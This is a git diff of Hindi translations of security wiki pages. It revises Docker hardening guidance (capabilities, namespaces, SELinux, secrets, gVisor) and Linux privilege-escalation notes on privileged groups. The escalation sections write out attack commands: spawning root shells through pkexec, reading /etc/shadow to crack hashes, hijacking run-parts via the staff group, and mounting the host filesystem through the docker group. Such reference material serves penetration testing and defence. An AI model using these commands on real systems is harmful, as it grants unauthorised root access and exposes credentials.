बीच संसाधनों का आवंटन करने के लिए उपयोग किया जाता है। -- **सुरक्षा पहलू**: CGroups स्वयं पृथक्करण सुरक्षा प्रदान नहीं करते, सिवाय `release_agent` विशेषता के, जो यदि गलत कॉन्फ़िगर की गई हो, तो अनधिकृत पहुँच के लिए शोषित की जा सकती है। +- **सुरक्षा पहलू**: CGroups स्वयं पृथक्करण सुरक्षा प्रदान नहीं करते, सिवाय `release_agent` विशेषता के, जो यदि गलत कॉन्फ़िगर की गई हो, तो अनधिकृत पहुँच के लिए संभावित रूप से शोषित की जा सकती है। **क्षमता ड्रॉप** - **महत्व**: यह प्रक्रिया पृथक्करण के लिए एक महत्वपूर्ण सुरक्षा विशेषता है। -- **कार्यात्मकता**: यह रूट प्रक्रिया द्वारा किए जाने वाले कार्यों को कुछ क्षमताओं को ड्रॉप करके प्रतिबंधित करता है। भले ही एक प्रक्रिया रूट विशेषाधिकारों के साथ चलती हो, आवश्यक क्षमताओं की कमी इसे विशेषाधिकार प्राप्त कार्यों को निष्पादित करने से रोकती है, क्योंकि syscalls अपर्याप्त अनुमतियों के कारण विफल हो जाएंगे। +- **कार्यात्मकता**: यह रूट प्रक्रिया द्वारा किए जा सकने वाले कार्यों को कुछ क्षमताओं को ड्रॉप करके प्रतिबंधित करता है। भले ही एक प्रक्रिया रूट विशेषाधिकारों के साथ चल रही हो, आवश्यक क्षमताओं की कमी इसे विशेषाधिकार प्राप्त कार्यों को निष्पादित करने से रोकती है, क्योंकि syscalls अपर्याप्त अनुमतियों के कारण विफल हो जाएंगे। ये हैं **बची हुई क्षमताएँ** जब प्रक्रिया ने अन्य को ड्रॉप किया: ``` @@ -129,7 +129,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca ### Namespaces -**Namespaces** लिनक्स कर्नेल की एक विशेषता है जो **कर्नेल संसाधनों को विभाजित** करती है ताकि एक सेट के **प्रक्रियाएँ** एक सेट के **संसाधनों** को **देखें** जबकि **दूसरा** सेट के **प्रक्रियाएँ** एक **अलग** सेट के संसाधनों को देखती हैं। यह विशेषता संसाधनों और प्रक्रियाओं के एक सेट के लिए समान namespace होने के द्वारा काम करती है, लेकिन उन namespaces का संदर्भ अलग-अलग संसाधनों के लिए होता है। संसाधन कई स्थानों में मौजूद हो सकते हैं। +**Namespaces** लिनक्स कर्नेल की एक विशेषता है जो **कर्नेल संसाधनों को विभाजित** करती है ताकि एक सेट के **प्रक्रियाएँ** एक सेट के **संसाधनों** को **देखें** जबकि **दूसरा** सेट के **प्रक्रियाएँ** एक **अलग** सेट के संसाधनों को देखती हैं। यह विशेषता संसाधनों और प्रक्रियाओं के एक सेट के लिए समान namespace होने के द्वारा काम करती है, लेकिन उन namespaces का संदर्भ अलग संसाधनों के लिए होता है। संसाधन कई स्थानों में मौजूद हो सकते हैं। डॉकर कंटेनर अलगाव प्राप्त करने के लिए निम्नलिखित लिनक्स कर्नेल namespaces का उपयोग करता है: @@ -139,7 +139,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca - ipc namespace - UTS namespace -**Namespaces के बारे में अधिक जानकारी** के लिए निम्नलिखित पृष्ठ देखें: +**Namespaces के बारे में अधिक जानकारी के लिए** निम्नलिखित पृष्ठ देखें: {{#ref}} namespaces/ @@ -166,7 +166,7 @@ cgroups.md ### क्षमताएँ -क्षमताएँ **रूट उपयोगकर्ता के लिए अनुमत क्षमताओं पर अधिक नियंत्रण** की अनुमति देती हैं। Docker Linux कर्नेल क्षमता सुविधा का उपयोग करता है ताकि **कंटेनर के अंदर किए जा सकने वाले कार्यों को सीमित किया जा सके** चाहे उपयोगकर्ता का प्रकार कोई भी हो। +क्षमताएँ **रूट उपयोगकर्ता के लिए अनुमत क्षमताओं पर अधिक बारीक नियंत्रण** की अनुमति देती हैं। डॉकर लिनक्स कर्नेल क्षमता सुविधा का उपयोग करता है ताकि **कंटेनर के अंदर किए जा सकने वाले संचालन को सीमित किया जा सके**, चाहे उपयोगकर्ता का प्रकार कोई भी हो। जब एक डॉकर कंटेनर चलाया जाता है, तो **प्रक्रिया संवेदनशील क्षमताओं को छोड़ देती है जिनका उपयोग प्रक्रिया अलगाव से बचने के लिए कर सकती है**। यह सुनिश्चित करने का प्रयास करता है कि प्रक्रिया संवेदनशील क्रियाएँ करने और बचने में सक्षम न हो: @@ -174,15 +174,15 @@ cgroups.md ../linux-capabilities.md {{#endref}} -### Docker में Seccomp +### डॉकर में Seccomp -यह एक सुरक्षा विशेषता है जो Docker को **कंटेनर के अंदर उपयोग किए जा सकने वाले syscalls को सीमित** करने की अनुमति देती है: +यह एक सुरक्षा विशेषता है जो डॉकर को **कंटेनर के अंदर उपयोग किए जा सकने वाले syscalls को सीमित** करने की अनुमति देती है: {{#ref}} seccomp.md {{#endref}} -### Docker में AppArmor +### डॉकर में AppArmor **AppArmor** एक कर्नेल संवर्धन है जो **कंटेनरों** को **सीमित** संसाधनों के **एक सीमित** सेट में **प्रति-कार्यक्रम प्रोफाइल** के साथ सीमित करता है।: @@ -190,15 +190,15 @@ seccomp.md apparmor.md {{#endref}} -### Docker में SELinux +### डॉकर में SELinux -- **लेबलिंग सिस्टम**: SELinux प्रत्येक प्रक्रिया और फ़ाइल प्रणाली वस्तु को एक अद्वितीय लेबल असाइन करता है। +- **लेबलिंग सिस्टम**: SELinux हर प्रक्रिया और फ़ाइल सिस्टम ऑब्जेक्ट को एक अद्वितीय लेबल असाइन करता है। - **नीति प्रवर्तन**: यह सुरक्षा नीतियों को लागू करता है जो परिभाषित करती हैं कि एक प्रक्रिया लेबल अन्य लेबल पर क्या क्रियाएँ कर सकती है। - **कंटेनर प्रक्रिया लेबल**: जब कंटेनर इंजन कंटेनर प्रक्रियाएँ आरंभ करते हैं, तो उन्हें आमतौर पर एक सीमित SELinux लेबल, सामान्यतः `container_t` असाइन किया जाता है। - **कंटेनरों के भीतर फ़ाइल लेबलिंग**: कंटेनर के भीतर फ़ाइलें आमतौर पर `container_file_t` के रूप में लेबल की जाती हैं। - **नीति नियम**: SELinux नीति मुख्य रूप से यह सुनिश्चित करती है कि `container_t` लेबल वाली प्रक्रियाएँ केवल `container_file_t` के रूप में लेबल की गई फ़ाइलों के साथ इंटरैक्ट कर सकती हैं (पढ़ना, लिखना, निष्पादित करना)। -यह तंत्र सुनिश्चित करता है कि यदि एक कंटेनर के भीतर एक प्रक्रिया से समझौता किया जाता है, तो यह केवल उन वस्तुओं के साथ इंटरैक्ट करने के लिए सीमित होती है जिनके पास संबंधित लेबल होते हैं, जिससे ऐसे समझौतों से संभावित नुकसान को काफी हद तक सीमित किया जा सकता है। +यह तंत्र सुनिश्चित करता है कि यदि कंटेनर के भीतर कोई प्रक्रिया समझौता कर ली जाती है, तो यह केवल संबंधित लेबल वाले ऑब्जेक्ट्स के साथ इंटरैक्ट करने तक सीमित रहती है, जिससे ऐसे समझौतों से संभावित नुकसान को काफी हद तक सीमित किया जा सके। {{#ref}} ../selinux.md @@ -206,12 +206,12 @@ apparmor.md ### AuthZ & AuthN -Docker में, एक प्राधिकरण प्लगइन सुरक्षा में एक महत्वपूर्ण भूमिका निभाता है यह तय करते हुए कि Docker डेमन के लिए अनुरोधों को अनुमति दी जाए या अवरुद्ध किया जाए। यह निर्णय दो प्रमुख संदर्भों की जांच करके किया जाता है: +डॉकर में, एक प्राधिकरण प्लगइन सुरक्षा में एक महत्वपूर्ण भूमिका निभाता है यह तय करते हुए कि डॉकर डेमन के लिए अनुरोधों को अनुमति दी जाए या अवरुद्ध किया जाए। यह निर्णय दो प्रमुख संदर्भों की जांच करके किया जाता है: - **प्रमाणीकरण संदर्भ**: इसमें उपयोगकर्ता के बारे में व्यापक जानकारी शामिल होती है, जैसे कि वे कौन हैं और उन्होंने स्वयं को कैसे प्रमाणित किया है। - **कमांड संदर्भ**: इसमें किए जा रहे अनुरोध से संबंधित सभी प्रासंगिक डेटा शामिल होता है। -ये संदर्भ सुनिश्चित करने में मदद करते हैं कि केवल प्रमाणित उपयोगकर्ताओं से वैध अनुरोधों को संसाधित किया जाए, जिससे Docker संचालन की सुरक्षा बढ़ती है। +ये संदर्भ सुनिश्चित करने में मदद करते हैं कि केवल प्रमाणित उपयोगकर्ताओं से वैध अनुरोधों को संसाधित किया जाए, जिससे डॉकर संचालन की सुरक्षा बढ़ती है। {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -247,9 +247,9 @@ docker-privileged.md #### no-new-privileges -यदि आप एक कंटेनर चला रहे हैं जहाँ एक हमलावर एक निम्न विशेषाधिकार उपयोगकर्ता के रूप में पहुँच प्राप्त करने में सफल होता है। यदि आपके पास एक **गलत कॉन्फ़िगर किया गया suid बाइनरी** है, तो हमलावर इसका दुरुपयोग कर सकता है और **कंटेनर के अंदर विशेषाधिकार बढ़ा सकता है**। जिससे, वह इससे बाहर निकलने में सक्षम हो सकता है। +यदि आप एक कंटेनर चला रहे हैं जहाँ एक हमलावर एक निम्न विशेषाधिकार उपयोगकर्ता के रूप में पहुँच प्राप्त करने में सफल हो जाता है। यदि आपके पास एक **गलत कॉन्फ़िगर किया गया suid बाइनरी** है, तो हमलावर इसका दुरुपयोग कर सकता है और **कंटेनर के अंदर विशेषाधिकार बढ़ा सकता है**। जिससे, वह इससे बाहर निकलने में सक्षम हो सकता है। -**`no-new-privileges`** विकल्प सक्षम करके कंटेनर चलाने से **इस प्रकार के विशेषाधिकार वृद्धि को रोका जा सकेगा**। +**`no-new-privileges`** विकल्प के साथ कंटेनर चलाने से **इस प्रकार के विशेषाधिकार वृद्धि को रोका जा सकेगा**। ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` @@ -284,9 +284,9 @@ BuildKit का लाभ उठाने के लिए, इसे तीन 1. एक पर्यावरण चर के माध्यम से: `export DOCKER_BUILDKIT=1` 2. कमांड को पूर्ववर्ती करके: `DOCKER_BUILDKIT=1 docker build .` -3. Docker कॉन्फ़िगरेशन में डिफ़ॉल्ट रूप से सक्षम करके: `{ "features": { "buildkit": true } }`, इसके बाद Docker पुनः प्रारंभ करें। +3. Docker कॉन्फ़िगरेशन में इसे डिफ़ॉल्ट रूप से सक्षम करके: `{ "features": { "buildkit": true } }`, इसके बाद Docker पुनः प्रारंभ करें। -BuildKit `--secret` विकल्प के साथ निर्माण समय के रहस्यों का उपयोग करने की अनुमति देता है, यह सुनिश्चित करते हुए कि ये रहस्य छवि निर्माण कैश या अंतिम छवि में शामिल नहीं हैं, जैसे कमांड का उपयोग करके: +BuildKit `--secret` विकल्प के साथ निर्माण समय के रहस्यों का उपयोग करने की अनुमति देता है, यह सुनिश्चित करते हुए कि ये रहस्य छवि निर्माण कैश या अंतिम छवि में शामिल नहीं हैं, जैसे कि: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` @@ -305,40 +305,44 @@ file: ./my_secret_file.txt ``` यह कॉन्फ़िगरेशन Docker Compose के साथ सेवाओं को शुरू करते समय रहस्यों के उपयोग की अनुमति देता है। -Kubernetes वातावरण में, रहस्य स्वाभाविक रूप से समर्थित होते हैं और [Helm-Secrets](https://github.com/futuresimple/helm-secrets) जैसे उपकरणों के साथ आगे प्रबंधित किए जा सकते हैं। Kubernetes का भूमिका आधारित पहुँच नियंत्रण (RBAC) रहस्य प्रबंधन सुरक्षा को बढ़ाता है, जो Docker Enterprise के समान है। +Kubernetes वातावरण में, रहस्यों का स्वदेशी समर्थन होता है और इन्हें [Helm-Secrets](https://github.com/futuresimple/helm-secrets) जैसे उपकरणों के साथ और प्रबंधित किया जा सकता है। Kubernetes का भूमिका आधारित पहुँच नियंत्रण (RBAC) रहस्य प्रबंधन सुरक्षा को बढ़ाता है, जो Docker Enterprise के समान है। ### gVisor **gVisor** एक एप्लिकेशन कर्नेल है, जो Go में लिखा गया है, जो Linux सिस्टम सतह का एक महत्वपूर्ण हिस्सा लागू करता है। इसमें एक [Open Container Initiative (OCI)](https://www.opencontainers.org) रनटाइम शामिल है जिसे `runsc` कहा जाता है, जो **एप्लिकेशन और होस्ट कर्नेल के बीच एक अलगाव सीमा प्रदान करता है**। `runsc` रनटाइम Docker और Kubernetes के साथ एकीकृत होता है, जिससे सैंडबॉक्स किए गए कंटेनरों को चलाना सरल हो जाता है। -{% embed url="https://github.com/google/gvisor" %} +{{#ref}} +https://github.com/google/gvisor +{{#endref}} ### Kata Containers -**Kata Containers** एक ओपन सोर्स समुदाय है जो हल्के वर्चुअल मशीनों के साथ एक सुरक्षित कंटेनर रनटाइम बनाने के लिए काम कर रहा है, जो कंटेनरों की तरह महसूस और प्रदर्शन करते हैं, लेकिन **हार्डवेयर वर्चुअलाइजेशन** तकनीक का उपयोग करके **मजबूत कार्यभार अलगाव** प्रदान करते हैं, जो एक दूसरी परत के रूप में रक्षा के लिए है। +**Kata Containers** एक ओपन सोर्स समुदाय है जो हल्के वर्चुअल मशीनों के साथ एक सुरक्षित कंटेनर रनटाइम बनाने के लिए काम कर रहा है, जो कंटेनरों की तरह महसूस और प्रदर्शन करते हैं, लेकिन **हार्डवेयर वर्चुअलाइजेशन** तकनीक का उपयोग करके **मजबूत कार्यभार अलगाव** प्रदान करते हैं। -{% embed url="https://katacontainers.io/" %} +{{#ref}} +https://katacontainers.io/ +{{#endref}} ### सारांश टिप्स -- **`--privileged` ध्वज का उपयोग न करें या कंटेनर के अंदर** [**Docker सॉकेट को माउंट न करें**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**।** Docker सॉकेट कंटेनरों को उत्पन्न करने की अनुमति देता है, इसलिए यह होस्ट पर पूर्ण नियंत्रण प्राप्त करने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` ध्वज के साथ एक और कंटेनर चलाकर। -- **कंटेनर के अंदर रूट के रूप में न चलाएँ। एक** [**अलग उपयोगकर्ता**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **का उपयोग करें और** [**उपयोगकर्ता नामस्थान**](https://docs.docker.com/engine/security/userns-remap/)**।** कंटेनर में रूट वही होता है जो होस्ट पर होता है जब तक कि इसे उपयोगकर्ता नामस्थान के साथ पुनः मैप नहीं किया जाता। यह मुख्य रूप से Linux नामस्थान, क्षमताओं और cgroups द्वारा हल्के से प्रतिबंधित होता है। +- **`--privileged` ध्वज का उपयोग न करें या** [**Docker सॉकेट को कंटेनर के अंदर माउंट न करें**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**।** Docker सॉकेट कंटेनरों को उत्पन्न करने की अनुमति देता है, इसलिए यह होस्ट पर पूर्ण नियंत्रण प्राप्त करने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` ध्वज के साथ एक और कंटेनर चलाकर। +- **कंटेनर के अंदर रूट के रूप में न चलाएं। एक** [**अलग उपयोगकर्ता**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **का उपयोग करें और** [**उपयोगकर्ता नामस्थान**](https://docs.docker.com/engine/security/userns-remap/)**।** कंटेनर में रूट वही होता है जो होस्ट पर होता है जब तक कि इसे उपयोगकर्ता नामस्थान के साथ पुनः मैप नहीं किया जाता। यह मुख्य रूप से Linux नामस्थान, क्षमताओं और cgroups द्वारा हल्के से प्रतिबंधित होता है। - [**सभी क्षमताएँ हटा दें**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) और केवल आवश्यक क्षमताएँ सक्षम करें** (`--cap-add=...`)। कई कार्यभार को किसी भी क्षमताओं की आवश्यकता नहीं होती है और उन्हें जोड़ने से संभावित हमले के दायरे में वृद्धि होती है। - [**“no-new-privileges” सुरक्षा विकल्प का उपयोग करें**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ताकि प्रक्रियाएँ अधिक विशेषाधिकार प्राप्त न कर सकें, उदाहरण के लिए, suid बाइनरी के माध्यम से। - [**कंटेनर के लिए उपलब्ध संसाधनों को सीमित करें**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**।** संसाधन सीमाएँ मशीन को सेवा से इनकार करने वाले हमलों से बचा सकती हैं। - **seccomp** [**को समायोजित करें**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(या SELinux)** प्रोफाइल को कार्यों और सिस्टम कॉल को न्यूनतम आवश्यक तक सीमित करने के लिए। -- **आधिकारिक Docker छवियों का उपयोग करें** [**और हस्ताक्षर की आवश्यकता करें**](https://docs.docker.com/docker-hub/official_images/) या उनके आधार पर अपनी खुद की बनाएं। [बैकडोर](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) छवियों को विरासत में न लें या उपयोग न करें। रूट कुंजी, पासफ़्रेज़ को सुरक्षित स्थान पर भी संग्रहीत करें। Docker की UCP के साथ कुंजी प्रबंधित करने की योजनाएँ हैं। +- **आधिकारिक Docker छवियों का उपयोग करें** [**और हस्ताक्षर की आवश्यकता करें**](https://docs.docker.com/docker-hub/official_images/) **या उनके आधार पर अपनी खुद की बनाएं। बैकडोर वाली छवियों का उपयोग न करें।** [**https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) **।** रूट कुंजी, पासफ़्रेज़ को सुरक्षित स्थान पर भी स्टोर करें। Docker की UCP के साथ कुंजी प्रबंधित करने की योजनाएँ हैं। - **नियमित रूप से** **अपनी छवियों को फिर से बनाएं ताकि** **होस्ट और छवियों पर सुरक्षा पैच लागू हो सकें।** - अपने **रहस्यों का बुद्धिमानी से प्रबंधन करें** ताकि हमलावर के लिए उन्हें एक्सेस करना कठिन हो। - यदि आप **Docker डेमन को HTTPS के साथ उजागर करते हैं** तो क्लाइंट और सर्वर प्रमाणीकरण का उपयोग करें। - अपने Dockerfile में, **ADD के बजाय COPY को प्राथमिकता दें**। ADD स्वचालित रूप से ज़िप फ़ाइलों को निकालता है और URLs से फ़ाइलें कॉपी कर सकता है। COPY में ये क्षमताएँ नहीं होती हैं। जब भी संभव हो, ADD का उपयोग करने से बचें ताकि आप दूरस्थ URLs और ज़िप फ़ाइलों के माध्यम से हमलों के प्रति संवेदनशील न हों। -- प्रत्येक माइक्रो-सेवा के लिए **अलग कंटेनर रखें** +- प्रत्येक माइक्रो-सेवा के लिए **अलग कंटेनर रखें।** - **कंटेनर के अंदर ssh न रखें**, "docker exec" का उपयोग कंटेनर में ssh करने के लिए किया जा सकता है। -- **छोटे** कंटेनर **छवियाँ रखें** +- **छोटे** कंटेनर **छवियाँ रखें।** ## Docker ब्रेकआउट / विशेषाधिकार वृद्धि -यदि आप **एक Docker कंटेनर के अंदर हैं** या आपके पास **Docker समूह में एक उपयोगकर्ता** तक पहुँच है, तो आप **भागने और विशेषाधिकार बढ़ाने** की कोशिश कर सकते हैं: +यदि आप **एक Docker कंटेनर के अंदर हैं** या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है**, तो आप **भागने और विशेषाधिकार बढ़ाने** की कोशिश कर सकते हैं: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/ ## Docker प्रमाणीकरण प्लगइन बाईपास -यदि आपके पास Docker सॉकेट तक पहुँच है या आपके पास **Docker समूह में एक उपयोगकर्ता** तक पहुँच है लेकिन आपके कार्यों को एक Docker प्रमाणीकरण प्लगइन द्वारा सीमित किया जा रहा है, तो जांचें कि क्या आप इसे **बाईपास कर सकते हैं:** +यदि आपके पास Docker सॉकेट तक पहुँच है या आपके पास **Docker समूह में एक उपयोगकर्ता तक पहुँच है लेकिन आपके कार्यों को एक Docker प्रमाणीकरण प्लगइन द्वारा सीमित किया जा रहा है**, तो जांचें कि क्या आप इसे **बाईपास कर सकते हैं:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -354,8 +358,8 @@ authz-and-authn-docker-access-authorization-plugin.md ## Docker को मजबूत करना -- उपकरण [**docker-bench-security**](https://github.com/docker/docker-bench-security) एक स्क्रिप्ट है जो उत्पादन में Docker कंटेनरों को तैनात करने के चारों ओर सामान्य सर्वोत्तम प्रथाओं के लिए दर्जनों की जांच करता है। परीक्षण सभी स्वचालित होते हैं, और [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) पर आधारित होते हैं।\ -आपको इसे Docker चला रहे होस्ट से या पर्याप्त विशेषाधिकार वाले कंटेनर से चलाना होगा। जानें कि **README में इसे कैसे चलाना है:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)। +- उपकरण [**docker-bench-security**](https://github.com/docker/docker-bench-security) एक स्क्रिप्ट है जो उत्पादन में Docker कंटेनरों को तैनात करने के चारों ओर सामान्य सर्वोत्तम प्रथाओं की दर्जनों जांच करता है। परीक्षण सभी स्वचालित होते हैं, और [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) पर आधारित होते हैं।\ +आपको इसे Docker चला रहे होस्ट से या पर्याप्त विशेषाधिकार वाले कंटेनर से चलाना होगा। जानें कि **इसे README में कैसे चलाना है:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)। ## संदर्भ diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index e201747b3..9b8e13cd7 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -37,13 +37,13 @@ cat /etc/polkit-1/localauthority.conf.d/* ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -यदि आप **pkexec** निष्पादित करने की कोशिश करते हैं और आपको यह **त्रुटि** मिलती है: +यदि आप **pkexec** को निष्पादित करने की कोशिश करते हैं और आपको यह **त्रुटि** मिलती है: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं, बल्कि इसलिए कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग-अलग ssh सत्र** की आवश्यकता है: +**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं, बल्कि इसलिए है कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -68,17 +68,17 @@ sudo su ``` ## Shadow Group -**shadow** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: +**शेडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -तो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक** करने की कोशिश करें। +सो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक** करने की कोशिश करें। ## स्टाफ समूह -**staff**: उपयोगकर्ताओं को सिस्टम में स्थानीय संशोधन जोड़ने की अनुमति देता है (`/usr/local`) बिना रूट विशेषाधिकार की आवश्यकता के (ध्यान दें कि `/usr/local/bin` में निष्पादन योग्य किसी भी उपयोगकर्ता के PATH वेरिएबल में होते हैं, और वे समान नाम के `/bin` और `/usr/bin` में निष्पादन योग्य को "ओवरराइड" कर सकते हैं)। "adm" समूह की तुलना करें, जो निगरानी/सुरक्षा से अधिक संबंधित है। [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: उपयोगकर्ताओं को सिस्टम में स्थानीय संशोधन जोड़ने की अनुमति देता है (`/usr/local`) बिना रूट विशेषाधिकार की आवश्यकता के (ध्यान दें कि `/usr/local/bin` में निष्पादन योग्य फ़ाइलें किसी भी उपयोगकर्ता के PATH वेरिएबल में हैं, और वे समान नाम वाली `/bin` और `/usr/bin` में निष्पादन योग्य फ़ाइलों को "ओवरराइड" कर सकती हैं)। "adm" समूह की तुलना करें, जो निगरानी/सुरक्षा से अधिक संबंधित है। [\[source\]](https://wiki.debian.org/SystemGroups) -डेबियन वितरण में, `$PATH` वेरिएबल दिखाता है कि `/usr/local/` उच्चतम प्राथमिकता के रूप में चलाया जाएगा, चाहे आप विशेषाधिकार प्राप्त उपयोगकर्ता हों या नहीं। +डेबियन वितरणों में, `$PATH` वेरिएबल दिखाता है कि `/usr/local/` उच्चतम प्राथमिकता के रूप में चलाया जाएगा, चाहे आप विशेषाधिकार प्राप्त उपयोगकर्ता हों या नहीं। ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -88,7 +88,7 @@ $ echo $PATH ``` यदि हम `/usr/local` में कुछ प्रोग्रामों को हाईजैक कर सकते हैं, तो हम आसानी से रूट प्राप्त कर सकते हैं। -`run-parts` प्रोग्राम को हाईजैक करना रूट प्राप्त करने का एक आसान तरीका है, क्योंकि अधिकांश प्रोग्राम `run-parts` को चलाएंगे जैसे (क्रॉनटैब, जब ssh लॉगिन होता है)। +`run-parts` प्रोग्राम को हाईजैक करना रूट प्राप्त करने का एक आसान तरीका है, क्योंकि अधिकांश प्रोग्राम `run-parts` को चलाएंगे जैसे (क्रॉनटैब, जब ssh लॉगिन)। ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -167,7 +167,7 @@ cat /sys/class/graphics/fb0/virtual_size ![](<../../../images/image (463).png>) -फिर चौड़ाई और ऊँचाई को स्क्रीन पर उपयोग की गई मापों के अनुसार संशोधित करें और विभिन्न छवि प्रकारों की जांच करें (और उस प्रकार का चयन करें जो स्क्रीन को बेहतर दिखाता है): +फिर चौड़ाई और ऊँचाई को स्क्रीन पर उपयोग की गई मापों में संशोधित करें और विभिन्न छवि प्रकारों की जांच करें (और उस प्रकार का चयन करें जो स्क्रीन को बेहतर दिखाता है): ![](<../../../images/image (317).png>) @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group -आप **होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं**, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। इससे आपको मशीन पर रूट मिल जाता है। +आप **होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं**, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। यह प्रभावी रूप से आपको मशीन पर रूट देता है। ```bash docker image #Get images from the docker service @@ -201,9 +201,13 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr यदि आपके पास docker socket पर लिखने की अनुमति है तो [**इस पोस्ट को पढ़ें कि कैसे docker socket का दुरुपयोग करके विशेषाधिकार बढ़ाएं**](../#writable-docker-socket)**.** -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} ## lxc/lxd समूह diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index d06845cca..8535a92af 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,6 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} - # Sudo/Admin Groups ## **PE - Method 1** @@ -21,11 +20,11 @@ sudo su ``` ## PE - Method 2 -सभी suid बाइनरीज़ खोजें और जांचें कि क्या बाइनरी **Pkexec** है: +सभी suid बाइनरी खोजें और जांचें कि क्या बाइनरी **Pkexec** है: ```bash find / -perm -4000 2>/dev/null ``` -यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin में हैं, तो आप संभवतः pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें: +यदि आप पाते हैं कि बाइनरी pkexec एक SUID बाइनरी है और आप sudo या admin के सदस्य हैं, तो आप संभवतः pkexec का उपयोग करके sudo के रूप में बाइनरी निष्पादित कर सकते हैं। इसकी सामग्री की जांच करें: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` @@ -41,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं बल्कि इसलिए है कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या के लिए यहाँ एक समाधान है: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है: +**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं 